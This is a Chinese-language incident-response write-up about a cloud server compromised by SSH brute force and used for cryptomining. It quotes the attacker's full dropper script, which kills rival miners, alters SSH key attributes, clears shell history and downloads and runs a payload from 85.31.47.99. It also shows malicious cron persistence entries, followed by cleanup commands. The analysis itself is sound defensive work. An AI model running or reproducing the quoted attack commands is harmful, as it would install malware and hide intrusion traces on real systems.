当前位置: 首页 > news >正文

涉及挖矿程序、ECS暴力破解成功、恶意脚本代码执行多阶段异常处理

背景:

  阿里云服务器报警:有木马植入,服务器cpu飙升。

处理:

image

 

#木马植入命令:
./network rm -rf /var/tmp/Documents ;
mkdir /var/tmp/Documents 2>&1 ;
crontab -r ;
chattr -iae ~/.ssh/authorized_keys >/dev/null 2>&1 ;
cd /var/tmp ;
chattr -iae /var/tmp/Documents/.diicot ;
pkill Opera ; pkill cnrig ; pkill java ;
killall java ;
pkill xmrig ;
killall cnrig ;
killall xmrig ;
cd /var/tmp/;
mv /var/tmp/diicot /var/tmp/Documents/.diicot ;
mv /var/tmp/kuak /var/tmp/Documents/kuak ;
cd /var/tmp/Documents ;
chmod +x .* ;
/var/tmp/Documents/.diicot >/dev/null 2>&1 & disown ;
history -c ;
rm -rf .bash_history ~/.bash_history ;
rm -rf /tmp/cache ; cd /tmp/ ;
wget -q 85.31.47.99/.NzJjOTYwxx5/.balu || curl -O -s -L 85.31.47.99/.NzJjOTYwxx5/.balu ;
mv .balu cache ; chmod +x cache ;
./cache >/dev/null 2>&1 & disown ;
history -c ;
rm -rf .bash_history ~/.bash_history

  命令分析:

  1. 初始化操作
    • rm -rf /var/tmp/Documents:强制删除/var/tmp/Documents目录(可能用于清理旧痕迹)
    • mkdir /var/tmp/Documents 2>&1:创建新的/var/tmp/Documents目录,并将错误输出重定向(避免显示错误信息)
    • crontab -r:删除当前用户的所有定时任务(清除可能存在的其他任务或防御机制)
  2. 权限篡改与进程清理
    • chattr -iae ~/.ssh/authorized_keys >/dev/null 2>&1:移除 SSH 授权密钥文件的特殊属性(可能为了后续篡改 SSH 密钥留后门)
    • 一系列pkillkillall命令:强制终止 Opera 浏览器、java 程序以及 xmrig、cnrig 等挖矿程序(可能是为了清除竞争对手的恶意程序,或关闭可能的监控软件)
  3. 恶意文件隐藏与执行
    • chattr -iae /var/tmp/Documents/.diicot:移除恶意文件的特殊属性(使其可修改和执行)
    • mv命令:将diicotkuak文件移动到隐藏目录(伪装成正常文档目录下的文件)
    • chmod +x .*:为隐藏文件添加执行权限
    • /var/tmp/Documents/.diicot >/dev/null 2>&1 & disown:后台执行恶意程序.diicot,并脱离终端控制(使其在后台持续运行)
  4. 痕迹清理
    • history -c:清除当前会话的命令历史
    • rm -rf .bash_history ~/.bash_history:删除保存的命令历史文件(避免被发现操作痕迹)
  5. 下载并执行新的恶意程序
    • 通过wgetcurl85.31.47.99这个 IP 地址下载名为.balu的文件
    • 将下载的文件重命名为cache并添加执行权限
    • 后台执行该程序并再次清理命令历史

   补救措施:

  1. 关闭服务器ssh端口

  2. 查看当前运行的异常进程:

ps aux | grep -E "diicot|kuak|cache|xmrig|cnrig"  # 结合恶意脚本中的进程名排查
top/htop  # 观察CPU/内存占用异常的进程(如挖矿程序通常占用高资源)

  

[ecs-assist-user@iZ2zef6hu7zpvvnltbgss3Z ~]$ ps aux | grep -E "diicot|kuak|cache|xmrig|cnrig"
root      3836  0.0  0.0 1227348 3340 ?        Sl   04:04   0:00 cache
www      26335  0.0  0.1 196180 11772 ?        S    Aug03   0:02 nginx: cache manager process
ecs-ass+ 31383  0.0  0.0 112812   988 pts/0    R+   10:08   0:00 grep --color=auto -E diicot|kuak|cache|xmrig|cnrig

  3.强制终止可疑进程(使用进程 ID,如1234):


sudo kill -9 3836
sudo rm -rf /tmp/cache /var/tmp/Documents

//检查是否有其他关联文件或进程复活机制(如定时任务):
sudo crontab -l # 查看当前用户定时任务
sudo ls -la /etc/cron* # 检查系统级定时任务

 top结果:

top - 10:20:22 up 64 days, 14:19,  0 users,  load average: 15.06, 12.13, 10.91
Tasks: 204 total,   8 running, 195 sleeping,   1 stopped,   0 zombie
%Cpu(s): 52.2 us, 47.8 sy,  0.0 ni,  0.0 id,  0.0 wa,  0.0 hi,  0.1 si,  0.0 st
KiB Mem :  7732792 total,   272968 free,  4592416 used,  2867408 buff/cache
KiB Swap:        0 total,        0 free,        0 used.  2514492 avail Mem PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND                                                                                       3868 root      20   0 2441952   2.3g      4 S  73.1 31.1 646:32.16 151e8df3                                                                                      
31337 www       20   0  244260  27740   4920 R  47.5  0.4   1:35.97 php-fpm                                                                                       
31458 www       20   0  244256  27244   4920 R  45.8  0.4   0:47.46 php-fpm                                                                                       
31871 www       20   0  244196  27972   4912 R  44.2  0.4   0:34.83 php-fpm                                                                                       
32106 www       20   0  242148  26684   4900 R  43.2  0.3   0:14.48 php-fpm                                                                                       
32182 www       20   0  244196  27088   4848 R  43.2  0.4   0:06.68 php-fpm                                                                                       
31430 www       20   0  242216  26768   4916 R  42.2  0.3   1:49.48 php-fpm                                                                                       
32238 www       20   0  233952  17176   4840 S  10.6  0.2   0:00.32 php-fpm                                                                                       
32102 www       20   0  244256  27208   4876 S   8.3  0.4   0:24.24 php-fpm                                                                                       
31875 www       20   0  242208  25208   4920 S   7.6  0.3   0:30.23 php-fpm                                                                                       
31429 www       20   0  242148  25696   4916 S   7.3  0.3   0:59.79 php-fpm                                                                                       
31874 www       20   0  242148  26692   4884 S   7.3  0.3   0:30.45 php-fpm                                                                                       
31876 www       20   0  242208  25756   4920 S   7.3  0.3   0:51.94 php-fpm                                                                                       
31903 www       20   0  242144  27176   4904 S   7.0  0.4   0:09.00 php-fpm                                                                                       1117 root      20   0 2436596  17372   6900 S   1.0  0.2 411:08.98 argusagent                                                                                    
24119 root      20   0  231340  83840  10360 S   1.0  1.1 295:33.94 AliYunDunMonito                                                                               2036 redis     20   0  565288 249392   1996 S   0.3  3.2 228:12.62 redis-server                                                                                  
22120 root      20   0  686528   9628   5172 S   0.3  0.1  35:45.96 aliyun-service                                                                                
24086 root      20   0  118508   8144   4832 S   0.3  0.1  85:02.77 AliYunDun                                                                                     
26331 www       20   0  245704  69064  10580 S   0.3  0.9   5:56.22 nginx                                                                                         
26333 www       20   0  250752  74476  10576 S   0.3  1.0  23:57.13 nginx                                                                                         
32232 ecs-ass+  20   0  162104   2348   1592 R   0.3  0.0   0:00.03 top                                                                                           1 root      20   0   51868   3664   2144 S   0.0  0.0   9:03.38 systemd

  

查找151e8df3进程的可执行文件路径:
sudo ls -l /proc/3868/exe # 进程未终止时,通过proc查看执行路径 # 若已终止,搜索系统中类似名称的文件 sudo find / -name "151e8df3" -type f
sudo rm -f /path/to/151e8df3

 

  定时任务的处理:

[ecs-assist-user@iZ2zef6hu7zpvvnltbgss3Z tmp]$ sudo crontab -l
@daily /var/tmp/9659fb05/./80ff5709 > /dev/null 2>&1 & disown
@reboot /var/tmp/9659fb05/./80ff5709 > /dev/null 2>&1 & disown
* * * * * /var/tmp/9659fb05/./80ff5709 > /dev/null 2>&1 & disown
@monthly /var/tmp/9659fb05/./80ff5709 > /dev/null 2>&1 & disown
[ecs-assist-user@iZ2zef6hu7zpvvnltbgss3Z tmp]$ sudo ls -la /etc/cron*
-rw-------  1 root root    0 May 16  2023 /etc/cron.deny
-rw-r--r--. 1 root root  451 Jun 10  2014 /etc/crontab/etc/cron.d:
total 16
drwxr-xr-x.  2 root root 4096 Jun 28  2024 .
drwxr-xr-x. 87 root root 4096 Aug 13 09:54 ..
-rw-r--r--   1 root root  128 May 16  2023 0hourly
-rw-------   1 root root  235 Dec 16  2022 sysstat/etc/cron.daily:
total 16
drwxr-xr-x.  2 root root 4096 Jun 28  2024 .
drwxr-xr-x. 87 root root 4096 Aug 13 09:54 ..
-rwx------.  1 root root  219 Apr  1  2020 logrotate
-rwxr-xr-x.  1 root root  618 Oct 30  2018 man-db.cron/etc/cron.hourly:
total 12
drwxr-xr-x.  2 root root 4096 Jun 28  2024 .
drwxr-xr-x. 87 root root 4096 Aug 13 09:54 ..
-rwxr-xr-x   1 root root  392 May 16  2023 0anacron/etc/cron.monthly:
total 8
drwxr-xr-x.  2 root root 4096 Jun 10  2014 .
drwxr-xr-x. 87 root root 4096 Aug 13 09:54 ../etc/cron.weekly:
total 8
drwxr-xr-x.  2 root root 4096 Jun 10  2014 .
drwxr-xr-x. 87 root root 4096 Aug 13 09:54 ..
sudo crontab -r  # 清除当前用户(root)的所有定时任务
sudo rm -rf /var/tmp/9659fb05 # 删除整个恶意程序目录

 

  4.禁用恶意文件执行权限

chmod -x /var/tmp/Documents/.* /tmp/cache
rm -rf /var/tmp/Documents /tmp/cache

  5.查看/etc/rc.local等开机启动脚本:

sudo cat /etc/rc.local

  6.木马禁止删除:

[ecs-assist-user@iZ2zef6hu7zpvvnltbgss3Z f46a6fbd]$ sudo rm -rf /var/tmp/f46a6fbd/
rm: cannot remove ‘/var/tmp/f46a6fbd/80ff5709’: Operation not permitted
# 进入目录
cd /var/tmp/f46a6fbd/# 查看文件属性(若有i或a属性,需移除)
lsattr 80ff5709# 移除特殊属性(-i移除不可修改,-a移除仅追加)
sudo chattr -ia 80ff5709

  7.扫描代码篡改

# 搜索近期新增的可疑PHP文件(如包含eval、base64_decode等危险函数的文件)
sudo find /path/to/website -name "*.php" -mtime -7  # 查找7天内新增的PHP文件
sudo grep -r "eval(" /path/to/website  # 搜索包含危险函数的文件

 

http://www.sczhlp.com/news/11288/

相关文章:

  • 在K8S中,kube-proxy 三种工作模式和原理是什么?
  • Hall 定理 笔记
  • 对已有的表进行分区
  • 如何把n分为k个数之和,使他们乘积最大?
  • 【UNR #4】序列妙妙值
  • 封装Appsetting单例类获取配置
  • linux磁盘管理
  • AI公平性研究的三大挑战与解决方案
  • 题解:洛谷 P13561 「WWOI R1」WsW 的笔
  • 网络流模板合集
  • 暨南大学机试题目
  • lvm逻辑卷详解
  • Trie ACM
  • 第一天算法2025/8/13
  • 常用公式
  • 平邑一中日记
  • The Whisper of Time
  • 在K8S中,每个 Pod 中有一个特殊的 Pause 容器能否去除,原因是什么?
  • 【自学嵌入式:stm32单片机】PWM驱动舵机
  • 在K8S中,pod中readness 和 liveness 的区别和各自应用场景是什么?
  • Windows11 蓝牙莫名其妙消失,不见,不可用
  • 对顶堆模板
  • GAS_Aura-Health and Mana
  • ProfiNet 转DeviceNet 协议优化西门子 S7-1500 与罗克韦尔 PLC 在电池生产线的多协议设备协同案例​
  • GAS_Aura-Attributes
  • 00 Markdown语法
  • 小白指南(五)——Anaconda环境管理系统使用(Windows版)
  • AtCoder Beginner Contest 418:E - Trapezium 题解
  • 005-Java网络编程
  • 006-Java高级技术